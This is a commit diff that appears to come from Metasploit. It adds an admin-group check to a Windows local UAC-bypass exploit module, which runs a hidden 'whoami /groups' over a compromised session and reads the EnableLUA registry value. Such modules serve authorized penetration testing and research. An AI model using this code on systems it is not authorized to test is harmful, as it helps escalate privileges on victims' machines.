Skip to content

Commit 9695b2d

Browse files
committed
Added check method
The method checks to see if the user is a part of the admin group. If the user is the exploit continues, if not the exploit stops because it will prompt the user for a password instead of just clicking ok.
1 parent 6881774 commit 9695b2d

File tree

1 file changed

+29
-0
lines changed
  • modules/exploits/windows/local

1 file changed

+29
-0
lines changed

modules/exploits/windows/local/ask.rb

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,36 @@ def initialize(info={})
4848

4949
end
5050

51+
def check
52+
session.readline
53+
print_status('Checking admin status...')
54+
whoami = session.sys.process.execute('cmd /c whoami /groups',
55+
nil,
56+
{'Hidden' => true, 'Channelized' => true}
57+
)
58+
cmdout = []
59+
while(cmdoutput = whoami.channel.read)
60+
cmdout << cmdoutput
61+
end
62+
if cmdout.size == 0
63+
fail_with(Exploit::Failure::None, "Either whoami is not there or failed to execute")
64+
else
65+
isinadmins = cmdout.join.scan(/S-1-5-32-544/)
66+
if isinadmins.size > 0
67+
print_good('Part of Administrators group! Continuing...')
68+
return Exploit::CheckCode::Vulnerable
69+
else
70+
print_error('Not in admins group, cannot escalate with this module')
71+
print_error('Exiting...')
72+
return Exploit::CheckCode::Safe
73+
end
74+
end
75+
end
5176
def exploit
77+
admin_check = check
78+
if admin_check.join =~ /safe/
79+
return Exploit::CheckCode::Safe
80+
end
5281
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
5382
open_key = session.sys.registry.open_key(root_key, base_key)
5483
lua_setting = open_key.query_value('EnableLUA')

0 commit comments

Comments
 (0)